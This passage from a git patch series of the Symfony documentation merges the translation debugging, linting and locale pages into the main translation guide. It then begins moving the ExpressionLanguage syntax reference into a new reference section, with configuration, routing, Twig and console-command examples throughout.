+.. tip::
+
+    Define the locale requirement as a :ref:`container parameter <configuration-parameters>`
+    to avoid hardcoding its value in all your routes.
+
+.. index::
+    single: Translations; Fallback and default locale
+
+.. _translation-default-locale:
+
+Setting a Default Locale
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+What if the user's locale hasn't been determined? You can guarantee that a
+locale is set on each user's request by defining a ``default_locale`` for
+the framework:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            default_locale: en
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config default-locale="en"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->defaultLocale('en');
+        };
 
 .. _translation-fallback:
 
@@ -846,20 +1023,286 @@ checks translation resources for several locales:
     add the missing translation to the log file. For details,
     see :ref:`reference-framework-translator-logging`.
 
-Translating Database Content
-----------------------------
+.. _translation-debug:
+
+.. index::
+    single: Translation; Debug
+    single: Translation; Missing Messages
+    single: Translation; Unused Messages
+
+How to Find Missing or Unused Translation Messages
+--------------------------------------------------
+
+When you work with many translation messages in different languages, it can be
+hard to keep track which translations are missing and which are not used
+anymore. The ``debug:translation`` command helps you to find these missing or
+unused translation messages templates:
+
+.. code-block:: twig
+
+    {# messages can be found when using the trans filter and tag #}
+    {% trans %}Symfony is great{% endtrans %}
+
+    {{ 'Symfony is great'|trans }}
+
+.. caution::
+
+    The extractors can't find messages translated outside templates (like form
+    labels or controllers) unless using :ref:`translatable-objects` or calling
+    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    translations using variables or expressions in templates are not
+    detected either:
+
+    .. code-block:: twig
+
+        {# this translation uses a Twig variable, so it won't be detected #}
+        {% set message = 'Symfony is great' %}
+        {{ message|trans }}
+
+Suppose your application's default_locale is ``fr`` and you have configured
+``en`` as the fallback locale (see :ref:`translation-configuration` and
+:ref:`translation-fallback` for how to configure these). And suppose
+you've already setup some translations for the ``fr`` locale:
+
+.. configuration-block::
+
+    .. code-block:: xml
+
+        <!-- translations/messages.fr.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="1">
+                        <source>Symfony is great</source>
+                        <target>J'aime Symfony</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: yaml
+
+        # translations/messages.fr.yaml
+        Symfony is great: J'aime Symfony
+
+    .. code-block:: php
+
+        // translations/messages.fr.php
+        return [
+            'Symfony is great' => 'J\'aime Symfony',
+        ];
+
+and for the ``en`` locale:
+
+.. configuration-block::
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="1">
+                        <source>Symfony is great</source>
+                        <target>Symfony is great</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        Symfony is great: Symfony is great
+
+    .. code-block:: php
+
+        // translations/messages.en.php
+        return [
+            'Symfony is great' => 'Symfony is great',
+        ];
+
+To inspect all messages in the ``fr`` locale for the application, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ---------  ------------------  ----------------------  -------------------------------
+     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ---------  ------------------  ----------------------  -------------------------------
+     unused     Symfony is great    J'aime Symfony          Symfony is great
+    ---------  ------------------  ----------------------  -------------------------------
+
+It shows you a table with the result when translating the message in the ``fr``
+locale and the result when the fallback locale ``en`` would be used. On top
+of that, it will also show you when the translation is the same as the fallback
+translation (this could indicate that the message was not correctly translated).
+Furthermore, it indicates that the message ``Symfony is great`` is unused
+because it is translated, but you haven't used it anywhere yet.
+
+Now, if you translate the message in one of your templates, you will get this
+output:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ---------  ------------------  ----------------------  -------------------------------
+     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ---------  ------------------  ----------------------  -------------------------------
+                Symfony is great    J'aime Symfony          Symfony is great
+    ---------  ------------------  ----------------------  -------------------------------
+
+The state is empty which means the message is translated in the ``fr`` locale
+and used in one or more templates.
+
+If you delete the message ``Symfony is great`` from your translation file
+for the ``fr`` locale and run the command, you will get:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ---------  ------------------  ----------------------  -------------------------------
+     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ---------  ------------------  ----------------------  -------------------------------
+     missing    Symfony is great    Symfony is great        Symfony is great
+    ---------  ------------------  ----------------------  -------------------------------
+
+The state indicates the message is missing because it is not translated in
+the ``fr`` locale but it is still used in the template. Moreover, the message
+in the ``fr`` locale equals to the message in the ``en`` locale. This is a
+special case because the untranslated message id equals its translation in
+the ``en`` locale.
+
+If you copy the content of the translation file in the ``en`` locale to the
+translation file in the ``fr`` locale and run the command, you will get:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ----------  ------------------  ----------------------  -------------------------------
+     State       Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ----------  ------------------  ----------------------  -------------------------------
+     fallback    Symfony is great    Symfony is great        Symfony is great
+    ----------  ------------------  ----------------------  -------------------------------
+
+You can see that the translations of the message are identical in the ``fr``
+and ``en`` locales which means this message was probably copied from English
+to French and maybe you forgot to translate it.
+
+By default, all domains are inspected, but it is possible to specify a single
+domain:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation en --domain=messages
+
+When the application has a lot of messages, it is useful to display only the
+unused or only the missing messages, by using the ``--only-unused`` or
+``--only-missing`` options:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation en --only-unused
+    $ php bin/console debug:translation en --only-missing
+
+Debug Command Exit Codes
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+The exit code of the ``debug:translation`` command changes depending on the
+status of the translations. Use the following public constants to check it::
+
+    use Symfony\Bundle\FrameworkBundle\Command\TranslationDebugCommand;
+
+    // generic failure (e.g. there are no translations)
+    TranslationDebugCommand::EXIT_CODE_GENERAL_ERROR;
+
+    // there are missing translations
+    TranslationDebugCommand::EXIT_CODE_MISSING;
+
+    // there are unused translations
+    TranslationDebugCommand::EXIT_CODE_UNUSED;
+
+    // some translations are using the fallback translation
+    TranslationDebugCommand::EXIT_CODE_FALLBACK;
+
+These constants are defined as "bit masks", so you can combine them as follows::
+
+    if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) {
+        // ... there are missing and/or unused translations
+    }
+
+.. versionadded:: 5.1
+
+    The exit codes were introduced in Symfony 5.1
+
+.. _translation-lint:
+
+.. index::
+    single: Translation; Lint
+    single: Translation; Translation File Errors
+
+How to Find Errors in Translation Files
+---------------------------------------
+
+Symfony processes all the application translation files as part of the process
+that compiles the application code before executing it. If there's an error in
+any translation file, you'll see an error message explaining the problem.
+
+If you prefer, you can also validate the contents of any YAML and XLIFF
+translation file using the ``lint:yaml`` and ``lint:xliff`` commands:
+
+.. code-block:: terminal
+
+    # lint a single file
+    $ php bin/console lint:yaml translations/messages.en.yaml
+    $ php bin/console lint:xliff translations/messages.en.xlf
+
+    # lint a whole directory
+    $ php bin/console lint:yaml translations
+    $ php bin/console lint:xliff translations
+
+    # lint multiple files or directories
+    $ php bin/console lint:yaml translations path/to/trans
+    $ php bin/console lint:xliff translations/messages.en.xlf translations/messages.es.xlf
+
+The linter results can be exported to JSON using the ``--format`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=json
+    $ php bin/console lint:xliff translations/ --format=json
+
+When running these linters inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=github
+    $ php bin/console lint:xliff translations/ --format=github
+
+.. versionadded:: 5.3
+
+    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
+    and in Symfony 5.4 for ``lint:xliff``.
+
+.. tip::
+
+    The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
+    you to lint YAML files without having to create a console application:
+
+    .. code-block:: terminal
 
-The translation of database content should be handled by Doctrine through
-the `Translatable Extension`_ or the `Translatable Behavior`_ (PHP 5.4+).
-For more information, see the documentation for these libraries.
+        $ php vendor/bin/yaml-lint translations/
 
-Debugging Translations
-----------------------
+    .. versionadded:: 5.1
 
-When you work with many translation messages in different languages, it can
-be hard to keep track which translations are missing and which are not used
-anymore. Read :doc:`/translation/debug` to find out how to identify these
-messages.
+        The ``yaml-lint`` binary was introduced in Symfony 5.1.
 
 Summary
 -------
@@ -884,9 +1327,6 @@ Learn more
     :maxdepth: 1
 
     translation/message_format
-    translation/locale
-    translation/debug
-    translation/lint
     translation/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
@@ -896,3 +1336,4 @@ Learn more
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/translation/debug.rst b/translation/debug.rst
deleted file mode 100644
index e0668c4ae3e..00000000000
--- a/translation/debug.rst
+++ /dev/null
@@ -1,214 +0,0 @@
-.. index::
-    single: Translation; Debug
-    single: Translation; Missing Messages
-    single: Translation; Unused Messages
-
-How to Find Missing or Unused Translation Messages
-==================================================
-
-When maintaining an application or bundle, you may add or remove translation
-messages and forget to update the message catalogs. The ``debug:translation``
-command helps you to find these missing or unused translation messages templates:
-
-.. code-block:: twig
-
-    {# messages can be found when using the trans filter and tag #}
-    {% trans %}Symfony is great{% endtrans %}
-
-    {{ 'Symfony is great'|trans }}
-
-.. caution::
-
-    The extractors can't find messages translated outside templates (like form
-    labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
-    translations using variables or expressions in templates are not
-    detected either:
-
-    .. code-block:: twig
-
-        {# this translation uses a Twig variable, so it won't be detected #}
-        {% set message = 'Symfony is great' %}
-        {{ message|trans }}
-
-Suppose your application's default_locale is ``fr`` and you have configured
-``en`` as the fallback locale (see :ref:`translation-configuration` and
-:ref:`translation-fallback` for how to configure these). And suppose
-you've already setup some translations for the ``fr`` locale:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="1">
-                        <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
-
-    .. code-block:: php
-
-        // translations/messages.fr.php
-        return [
-            'Symfony is great' => 'J\'aime Symfony',
-        ];
-
-and for the ``en`` locale:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/messages.en.xlf -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="1">
-                        <source>Symfony is great</source>
-                        <target>Symfony is great</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        # translations/messages.en.yaml
-        Symfony is great: Symfony is great
-
-    .. code-block:: php
-
-        // translations/messages.en.php
-        return [
-            'Symfony is great' => 'Symfony is great',
-        ];
-
-To inspect all messages in the ``fr`` locale for the application, run:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ---------  ------------------  ----------------------  -------------------------------
-     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ---------  ------------------  ----------------------  -------------------------------
-     unused     Symfony is great    J'aime Symfony          Symfony is great
-    ---------  ------------------  ----------------------  -------------------------------
-
-It shows you a table with the result when translating the message in the ``fr``
-locale and the result when the fallback locale ``en`` would be used. On top
-of that, it will also show you when the translation is the same as the fallback
-translation (this could indicate that the message was not correctly translated).
-Furthermore, it indicates that the message ``Symfony is great`` is unused
-because it is translated, but you haven't used it anywhere yet.
-
-Now, if you translate the message in one of your templates, you will get this
-output:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ---------  ------------------  ----------------------  -------------------------------
-     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ---------  ------------------  ----------------------  -------------------------------
-                Symfony is great    J'aime Symfony          Symfony is great
-    ---------  ------------------  ----------------------  -------------------------------
-
-The state is empty which means the message is translated in the ``fr`` locale
-and used in one or more templates.
-
-If you delete the message ``Symfony is great`` from your translation file
-for the ``fr`` locale and run the command, you will get:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ---------  ------------------  ----------------------  -------------------------------
-     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ---------  ------------------  ----------------------  -------------------------------
-     missing    Symfony is great    Symfony is great        Symfony is great
-    ---------  ------------------  ----------------------  -------------------------------
-
-The state indicates the message is missing because it is not translated in
-the ``fr`` locale but it is still used in the template. Moreover, the message
-in the ``fr`` locale equals to the message in the ``en`` locale. This is a
-special case because the untranslated message id equals its translation in
-the ``en`` locale.
-
-If you copy the content of the translation file in the ``en`` locale to the
-translation file in the ``fr`` locale and run the command, you will get:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ----------  ------------------  ----------------------  -------------------------------
-     State       Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ----------  ------------------  ----------------------  -------------------------------
-     fallback    Symfony is great    Symfony is great        Symfony is great
-    ----------  ------------------  ----------------------  -------------------------------
-
-You can see that the translations of the message are identical in the ``fr``
-and ``en`` locales which means this message was probably copied from English
-to French and maybe you forgot to translate it.
-
-By default, all domains are inspected, but it is possible to specify a single
-domain:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation en --domain=messages
-
-When the application has a lot of messages, it is useful to display only the
-unused or only the missing messages, by using the ``--only-unused`` or
-``--only-missing`` options:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation en --only-unused
-    $ php bin/console debug:translation en --only-missing
-
-Debug Command Exit Codes
-------------------------
-
-The exit code of the ``debug:translation`` command changes depending on the
-status of the translations. Use the following public constants to check it::
-
-    use Symfony\Bundle\FrameworkBundle\Command\TranslationDebugCommand;
-
-    // generic failure (e.g. there are no translations)
-    TranslationDebugCommand::EXIT_CODE_GENERAL_ERROR;
-
-    // there are missing translations
-    TranslationDebugCommand::EXIT_CODE_MISSING;
-
-    // there are unused translations
-    TranslationDebugCommand::EXIT_CODE_UNUSED;
-
-    // some translations are using the fallback translation
-    TranslationDebugCommand::EXIT_CODE_FALLBACK;
-
-These constants are defined as "bit masks", so you can combine them as follows::
-
-    if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) {
-        // ... there are missing and/or unused translations
-    }
-
-.. versionadded:: 5.1
-
-    The exit codes were introduced in Symfony 5.1
diff --git a/translation/lint.rst b/translation/lint.rst
deleted file mode 100644
index e6987538aeb..00000000000
--- a/translation/lint.rst
+++ /dev/null
@@ -1,62 +0,0 @@
-.. index::
-    single: Translation; Lint
-    single: Translation; Translation File Errors
-
-How to Find Errors in Translation Files
-=======================================
-
-Symfony processes all the application translation files as part of the process
-that compiles the application code before executing it. If there's an error in
-any translation file, you'll see an error message explaining the problem.
-
-If you prefer, you can also validate the contents of any YAML and XLIFF
-translation file using the ``lint:yaml`` and ``lint:xliff`` commands:
-
-.. code-block:: terminal
-
-    # lint a single file
-    $ php bin/console lint:yaml translations/messages.en.yaml
-    $ php bin/console lint:xliff translations/messages.en.xlf
-
-    # lint a whole directory
-    $ php bin/console lint:yaml translations
-    $ php bin/console lint:xliff translations
-
-    # lint multiple files or directories
-    $ php bin/console lint:yaml translations path/to/trans
-    $ php bin/console lint:xliff translations/messages.en.xlf translations/messages.es.xlf
-
-The linter results can be exported to JSON using the ``--format`` option:
-
-.. code-block:: terminal
-
-    $ php bin/console lint:yaml translations/ --format=json
-    $ php bin/console lint:xliff translations/ --format=json
-
-When running these linters inside `GitHub Actions`_, the output is automatically
-adapted to the format required by GitHub, but you can force that format too:
-
-.. code-block:: terminal
-
-    $ php bin/console lint:yaml translations/ --format=github
-    $ php bin/console lint:xliff translations/ --format=github
-
-.. versionadded:: 5.3
-
-    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
-    and in Symfony 5.4 for ``lint:xliff``.
-
-.. tip::
-
-    The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
-    you to lint YAML files without having to create a console application:
-
-    .. code-block:: terminal
-
-        $ php vendor/bin/yaml-lint translations/
-
-    .. versionadded:: 5.1
-
-        The ``yaml-lint`` binary was introduced in Symfony 5.1.
-
-.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/translation/locale.rst b/translation/locale.rst
deleted file mode 100644
index efd7cc077a2..00000000000
--- a/translation/locale.rst
+++ /dev/null
@@ -1,204 +0,0 @@
-.. index::
-    single: Translation; Locale
-
-How to Work with the User's Locale
-==================================
-
-The locale of the current user is stored in the request and is accessible
-via the ``Request`` object::
-
-    use Symfony\Component\HttpFoundation\Request;
-
-    public function index(Request $request)
-    {
-        $locale = $request->getLocale();
-    }
-
-To set the user's locale, you may want to create a custom event listener so
-that it's set before any other parts of the system (i.e. the translator) need
-it::
-
-        public function onKernelRequest(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-
-            // some logic to determine the $locale
-            $request->setLocale($locale);
-        }
-
-.. note::
-
-    The custom listener must be called **before** ``LocaleListener``, which
-    initializes the locale based on the current request. To do so, set your
-    listener priority to a higher value than ``LocaleListener`` priority (which
-    you can obtain by running the ``debug:event kernel.request`` command).
-
-Read :ref:`locale-sticky-session` for more information on making the user's
-locale "sticky" to their session.
-
-.. note::
-
-    Setting the locale using ``$request->setLocale()`` in the controller is
-    too late to affect the translator. Either set the locale via a listener
-    (like above), the URL (see next) or call ``setLocale()`` directly on the
-    ``translator`` service.
-
-See the :ref:`translation-locale-url` section below about setting the
-locale via routing.
-
-.. _translation-locale-url:
-
-The Locale and the URL
-----------------------
-
-Since you can store the locale of the user in the session, it may be tempting
-to use the same URL to display a resource in different languages based on
-the user's locale. For example, ``http://www.example.com/contact`` could show
-content in English for one user and French for another user. Unfortunately,
-this violates a fundamental rule of the Web: that a particular URL returns
-the same resource regardless of the user. To further muddy the problem, which
-version of the content would be indexed by search engines?
-
-A better policy is to include the locale in the URL using the
-:ref:`special _locale parameter <routing-locale-parameter>`:
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/ContactController.php
-        namespace App\Controller;
-
-        // ...
-        class ContactController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/{_locale}/contact",
-             *     name="contact",
-             *     requirements={
-             *         "_locale": "en|fr|de",
-             *     }
-             * )
-             */
-            public function contact()
-            {
-            }
-        }
-        
-    .. code-block:: php-attributes
-
-        // src/Controller/ContactController.php
-        namespace App\Controller;
-
-        // ...
-        class ContactController extends AbstractController
-        {
-            #[Route(
-                path: '/{_locale}/contact',
-                name: 'contact',
-                requirements: [
-                    '_locale' => 'en|fr|de',
-                ],
-            )]
-            public function contact()
-            {
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        contact:
-            path:       /{_locale}/contact
-            controller: App\Controller\ContactController::index
-            requirements:
-                _locale: en|fr|de
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="contact" path="/{_locale}/contact">
-                controller="App\Controller\ContactController::index">
-                <requirement key="_locale">en|fr|de</requirement>
-            </route>
-        </routes>
-
-    .. code-block:: php
-
-        // config/routes.php
-        use App\Controller\ContactController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('contact', '/{_locale}/contact')
-                ->controller([ContactController::class, 'index'])
-                ->requirements([
-                    '_locale' => 'en|fr|de',
-                ])
-            ;
-        };
-
-When using the special ``_locale`` parameter in a route, the matched locale
-is *automatically set on the Request* and can be retrieved via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getLocale` method. In
-other words, if a user visits the URI ``/fr/contact``, the locale ``fr`` will
-automatically be set as the locale for the current request.
-
-You can now use the locale to create routes to other translated pages in your
-application.
-
-.. tip::
-
-    Define the locale requirement as a :ref:`container parameter <configuration-parameters>`
-    to avoid hardcoding its value in all your routes.
-
-.. index::
-    single: Translations; Fallback and default locale
-
-.. _translation-default-locale:
-
-Setting a Default Locale
-------------------------
-
-What if the user's locale hasn't been determined? You can guarantee that a
-locale is set on each user's request by defining a ``default_locale`` for
-the framework:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translation.yaml
-        framework:
-            default_locale: en
-
-    .. code-block:: xml
-
-        <!-- config/packages/translation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config default-locale="en"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/translation.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->defaultLocale('en');
-        };

From 696be663299181648a41ac70d517b76f2762ff38 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 27 Jan 2023 12:26:57 +0100
Subject: [PATCH 4190/7107] Format syntaxes reference

---
 _build/redirection_map                        |   6 +-
 components/expression_language.rst            | 315 +---------------
 components/yaml.rst                           | 343 +-----------------
 configuration.rst                             |   2 +-
 reference/constraints/Expression.rst          |   4 +-
 reference/formats/expression_language.rst     | 320 ++++++++++++++++
 .../formats}/message_format.rst               |   0
 {translation => reference/formats}/xliff.rst  |   0
 reference/formats/yaml.rst                    | 340 +++++++++++++++++
 reference/map.rst.inc                         |  57 +--
 routing.rst                                   |   4 +-
 security/expressions.rst                      |   2 +-
 service_container/expression_language.rst     |   2 +-
 translation.rst                               |   2 +-
 14 files changed, 712 insertions(+), 685 deletions(-)
 create mode 100644 reference/formats/expression_language.rst
 rename {translation => reference/formats}/message_format.rst (100%)
 rename {translation => reference/formats}/xliff.rst (100%)
 create mode 100644 reference/formats/yaml.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index c58e85b6c23..c107f51f066 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -537,8 +537,10 @@
 /components/security/secure_tools /security/passwords
 /components/security /security
 /components/var_dumper/advanced /components/var_dumper#advanced-usage
-/components/yaml/yaml_format /components/yaml#yaml-format
-/components/expression_language/syntax /components/expression_language#expression-language-syntax
+/components/yaml/yaml_format /reference/formats/yaml
+/components/expression_language/syntax /reference/formats/expression_language
+/components/expression_language/ast /components/expression_language#expression-language-ast
+/components/expression_language/caching /components/expression_language#expression-language-caching
 /components/expression_language/extending /components/expression_language#expression-language-extending
 /notifier/chatters /notifier#sending-chat-messages
 /notifier/texters /notifier#sending-sms
diff --git a/components/expression_language.rst b/components/expression_language.rst
index be84457995f..f5551a093cd 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -73,317 +73,10 @@ The main class of the component is
 
     var_dump($expressionLanguage->compile('1 + 2')); // displays (1 + 2)
 
-.. _expression-language-syntax:
-
-.. index::
-    single: Syntax; ExpressionLanguage
-
-Expression Syntax
------------------
-
-The ExpressionLanguage component uses a specific syntax which is based on the
-expression syntax of Twig. In this document, you can find all supported
-syntaxes.
-
-Supported Literals
-~~~~~~~~~~~~~~~~~~
-
-The component supports:
-
-* **strings** - single and double quotes (e.g. ``'hello'``)
-* **numbers** - e.g. ``103``
-* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
-* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
-* **booleans** - ``true`` and ``false``
-* **null** - ``null``
-* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
-
-.. caution::
-
-    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
-    and 8 backslashes (``\\\\\\\\``) in a regex::
-
-        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
-        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
-
-    Control characters (e.g. ``\n``) in expressions are replaced with
-    whitespace. To avoid this, escape the sequence with a single backslash
-    (e.g.  ``\\n``).
-
-.. _component-expression-objects:
-
-Working with Objects
-~~~~~~~~~~~~~~~~~~~~
-
-When passing objects into an expression, you can use different syntaxes to
-access properties and call methods on the object.
-
-Accessing Public Properties
-...........................
-
-Public properties on objects can be accessed by using the ``.`` syntax, similar
-to JavaScript::
-
-    class Apple
-    {
-        public $variety;
-    }
-
-    $apple = new Apple();
-    $apple->variety = 'Honeycrisp';
-
-    var_dump($expressionLanguage->evaluate(
-        'fruit.variety',
-        [
-            'fruit' => $apple,
-        ]
-    ));
-
-This will print out ``Honeycrisp``.
-
-Calling Methods
-...............
-
-The ``.`` syntax can also be used to call methods on an object, similar to
-JavaScript::
-
-    class Robot
-    {
-        public function sayHi($times)
-        {
-            $greetings = [];
-            for ($i = 0; $i < $times; $i++) {
-                $greetings[] = 'Hi';
-            }
-
-            return implode(' ', $greetings).'!';
-        }
-    }
-
-    $robot = new Robot();
-
-    var_dump($expressionLanguage->evaluate(
-        'robot.sayHi(3)',
-        [
-            'robot' => $robot,
-        ]
-    ));
-
-This will print out ``Hi Hi Hi!``.
-
-.. _component-expression-functions:
-
-Working with Functions
-~~~~~~~~~~~~~~~~~~~~~~
-
-You can also use registered functions in the expression by using the same
-syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
-function by default: ``constant()``, which will return the value of the PHP
-constant::
-
-    define('DB_USER', 'root');
-
-    var_dump($expressionLanguage->evaluate(
-        'constant("DB_USER")'
-    ));
-
-This will print out ``root``.
-
-.. tip::
-
-    To read how to register your own functions to use in an expression, see
-    ":ref:`expression-language-extending`".
-
-.. _component-expression-arrays:
-
-Working with Arrays
-~~~~~~~~~~~~~~~~~~~
-
-If you pass an array into an expression, use the ``[]`` syntax to access
-array keys, similar to JavaScript::
-
-    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
-
-    var_dump($expressionLanguage->evaluate(
-        'data["life"] + data["universe"] + data["everything"]',
-        [
-            'data' => $data,
-        ]
-    ));
-
-This will print out ``42``.
-
-Supported Operators
-~~~~~~~~~~~~~~~~~~~
-
-The component comes with a lot of operators:
-
-Arithmetic Operators
-....................
-
-* ``+`` (addition)
-* ``-`` (subtraction)
-* ``*`` (multiplication)
-* ``/`` (division)
-* ``%`` (modulus)
-* ``**`` (pow)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'life + universe + everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    ));
-
-This will print out ``42``.
-
-Bitwise Operators
-.................
-
-* ``&`` (and)
-* ``|`` (or)
-* ``^`` (xor)
-
-Comparison Operators
-....................
-
-* ``==`` (equal)
-* ``===`` (identical)
-* ``!=`` (not equal)
-* ``!==`` (not identical)
-* ``<`` (less than)
-* ``>`` (greater than)
-* ``<=`` (less than or equal to)
-* ``>=`` (greater than or equal to)
-* ``matches`` (regex match)
-
 .. tip::
 
-    To test if a string does *not* match a regex, use the logical ``not``
-    operator in combination with the ``matches`` operator::
-
-        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
-
-    You must use parentheses because the unary operator ``not`` has precedence
-    over the binary operator ``matches``.
-
-Examples::
-
-    $ret1 = $expressionLanguage->evaluate(
-        'life == everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-    $ret2 = $expressionLanguage->evaluate(
-        'life > everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-Both variables would be set to ``false``.
-
-Logical Operators
-.................
-
-* ``not`` or ``!``
-* ``and`` or ``&&``
-* ``or`` or ``||``
-
